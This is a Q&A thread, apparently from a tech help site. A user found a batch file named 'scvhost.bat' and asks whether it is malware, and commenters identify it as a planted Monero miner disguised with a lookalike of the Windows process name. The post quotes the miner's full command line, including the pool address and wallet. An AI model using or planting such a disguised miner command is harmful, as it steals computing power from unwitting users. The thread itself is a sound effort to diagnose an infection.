17
4
I have just found this .bat file that was named scvhost.bat. The file had this content in it :
scvhost -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 48uh2mrdkdq2tQysfkX2hZDi2hkRua4GX13EqY8djJ5xNXhez7baztVWbwXa34vUMveKAzAiA4j8xgUi29TpKXpm42jqV6H.microSf -p MXXXXXX-t 02
Is this a virus (to steal info etc) or a planted miner ? I am worried as I also dabble in crypto currencies and stratum
is a currency that is mentioned in above file.
1This indeed seems to be a miner. Given that you use crypto currencies yourself, if you also mine, make sure this is not actually part of whatever you use to mine. You can do so by renaming the .bat extension to something else and see if you can still normally mine after a reboot. One thing I find odd about this file is that normally it would call itself given that scvhost is both the name of what it executes and the bat file. Normally that would result in a loop. – LPChip – 2018-01-16T09:34:16.517
@LPChip scvhost is a Windows system process, so the bat file is calling scvhost to start cryptonight.exe as a background service. – Virtual Anomaly – 2018-01-16T09:41:22.340
2@VirtualAnomaly I think you are mistaken sVChost with sCVhost mentioned here. Yes I am very much aware that svchost is the mechanics for hosting services. – LPChip – 2018-01-16T09:55:46.873
Thank you guys for your response! I don't mine myself but do own a couple of coins. I found out that this was indeed a Monero coin miner installed in my system. No wonder my PC was getting so darn slow. I have the wallet address now and say the owner has mined 8+ Monero coins, that's around 3k :/ – NewbieProgrammer – 2018-01-16T10:00:36.003
2@LPChip My apologies, you are correct, I was mistaken. – Virtual Anomaly – 2018-01-16T10:03:18.957
2Somebody played too much Starcraft, I guess. – CodesInChaos – 2018-01-16T13:01:18.507
@CodesInChaos Is there a known issue with Starcraft, or why? (I obviously don't get it) – lucidbrot – 2018-01-16T17:28:09.210
1@lucidbrot SCVs are the "builder" unit of one of the game's races (terrans), in which case it stands for "Space Construction Vehicle". – Aaron – 2018-01-16T18:26:51.417